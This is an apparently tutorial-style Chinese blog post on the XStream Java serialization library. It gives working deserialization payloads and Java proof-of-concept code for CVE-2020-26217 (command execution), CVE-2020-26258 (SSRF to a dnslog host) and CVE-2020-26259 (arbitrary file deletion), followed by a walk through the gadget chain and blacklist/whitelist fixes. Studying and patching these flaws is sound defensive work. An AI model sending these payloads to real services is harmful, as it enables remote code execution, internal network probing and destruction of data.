1、简介
xstream是一个用于序列化和反序列化的java库,主要是java对象和xml之间相互转换。
XStream反序列化同fastjson这种不一样的地方是fastjson会在反序列化的时候主动去调用getters和setters,而XStream的反序列化过程中赋值都有Java的反射机制来完成,所以并没有这样主动调用的特性。
特点
- 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例
- 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化
- 性能 - XStream快速和低内存占用,适合于大对象图或系统
- 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读
- 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类,默认构造函数不是强制性的要求
- 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用
- 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册
- 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题
- 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题
- 另一种输出格式 - XStream支持其它的输出格式,如JSON
2、举例
引入xstream
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.16</version>
</dependency>
随便创建一个Student类,用于反序列化和被反序列化:
package xstream;
public class Student {
public String name;
public String sex;
//@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object myObject;
public Student(){
System.out.println("Student 构造函数");
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public String getSex(){
System.out.println("getSex");
return sex;
}
public void setSex(String sex){
System.out.println("setSex");
this.sex = sex;
}
public Object getMyObject() {
System.out.println("getMyObject");
return myObject;
}
public void setMyObject(Object myObject) {
System.out.println("setMyObject");
this.myObject = myObject;
}
@Override
public String toString() {
return String.format("Student.name=%s, Student.sex=%s", name, sex);
}
}
具体实现栗子
package xstream;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;
import java.io.IOException;
public class XstreamPoc {
public static void main(String[] args) throws IOException {
poc01();
}
public static void poc01() throws IOException {
Student student = new Student();
student.setName("5wimming");
student.setSex("boy");
XStream xstream = new XStream(new StaxDriver());
String xml = xstream.toXML(student);
System.out.println(xml);
Student student02 = (Student) xstream.fromXML(xml);
System.out.println(student02);
}
}
运行结果如下
Student 构造函数
setName
setSex
<?xml version="1.0" ?><xstream.Student><name>5wimming</name><sex>boy</sex></xstream.Student>
Student.name=5wimming, Student.sex=boy
3、漏洞
CVE-2020-26217
首先引入满足漏洞条件的xstream包,小于1.4.13即可
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.11</version>
</dependency>
官方给的poc
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
建一个poc:
package xstream;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;
import java.io.IOException;
public class XstreamPoc {
public static void main(String[] args) throws IOException {
poc02();
}
public static void poc02(){
String pocXml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='java.io.SequenceInputStream'>\n" +
" <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
" <iterator class='javax.imageio.spi.FilterIterator'>\n" +
" <iter class='java.util.ArrayList$Itr'>\n" +
" <cursor>0</cursor>\n" +
" <lastRet>-1</lastRet>\n" +
" <expectedModCount>1</expectedModCount>\n" +
" <outer-class>\n" +
" <java.lang.ProcessBuilder>\n" +
" <command>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </java.lang.ProcessBuilder>\n" +
" </outer-class>\n" +
" </iter>\n" +
" <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
" <method>\n" +
" <class>java.lang.ProcessBuilder</class>\n" +
" <name>start</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>start</name>\n" +
" </filter>\n" +
" <next/>\n" +
" </iterator>\n" +
" <type>KEYS</type>\n" +
" </e>\n" +
" <in class='java.io.ByteArrayInputStream'>\n" +
" <buf></buf>\n" +
" <pos>0</pos>\n" +
" <mark>0</mark>\n" +
" <count>0</count>\n" +
" </in>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream(new StaxDriver());
xstream.fromXML(pocXml);
}
}
运行后弹出计算器
CVE-2020-26258
这是一个SSRF漏洞,xstream版本小于1.4.14
漏洞payload:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
poc如下:
public static void poc03(){
// CVE-2020-26258
String pocXml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='javax.activation.URLDataSource'>\n" +
" <url>http://xstream26258.dnslog.com/:</url>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream(new StaxDriver());
xstream.fromXML(pocXml);
}
运行,发现dnslog成功了
CVE-2020-26259
这是一个任意文件删除漏洞,xstream版本需要小于1.4.14
首先在某个目录下创建一个test.txt,payload如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/Users/5wimming/temp/test.txt</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
poc如下:
public static void poc04(){
String pocXml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>/Users/5wimming/temp/test.txt</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream(new StaxDriver());
xstream.fromXML(pocXml);
}
执行,然后文件说没就没了。
调试
我们调试一下后面几个漏洞吧
首先进入com.thoughtworks.xstream.XStream#fromXML(java.io.Reader)函数
接着进入com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)函数
中间一大坨枯燥无味就不跟了,直奔主题。
跟进到com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap函数,在 Xstream 构建 entry 的过程中,将本次的key 值NativeString, put 到 map中:
强制进入put函数中,发现key值会被传进hash函数,继续跟进
发现key值就调用hashCode()函数,这就是问题所在,如果恶意类在hashCode中有恶意操作,就可以利用起来了,刚好NativeString就是这个类
我们进入jdk.nashorn.internal.objects.NativeString#hashCode函数,发现它调用了getStringValue函数,而getStringValue函数里面的value又调用了toString函数,这里的value就是Base64Data类
跟进toString函数,发现调用了get函数,继续跟进get函数
发现CVE-2020-26258和CVE-2020-26259这的触发点,CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行。而CVE-2020-26258和CVE-2020-26259利用 getInputStream 函数与 close 函数分别进行 ssrf 和文件删除。
下面是getInputStream 函数导致SSRF漏洞的触发点
下面是close函数导致文件删除的触发点
4、修复
黑名单方式
XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
//将ImageIO类加入黑名单
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
xstream.fromXML(xml);
白名单方式
XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
// 添加一些基础的类型,如Array、NULL、primitive
xstream.addPermission(ArrayTypePermission.ARRAYS);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
// 添加自定义的类列表
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
参考:
https://www.jianshu.com/p/d8e6c5488353
https://www.cnblogs.com/v1ntlyn/p/14034019.html
https://blog.csdn.net/further_eye/article/details/110421329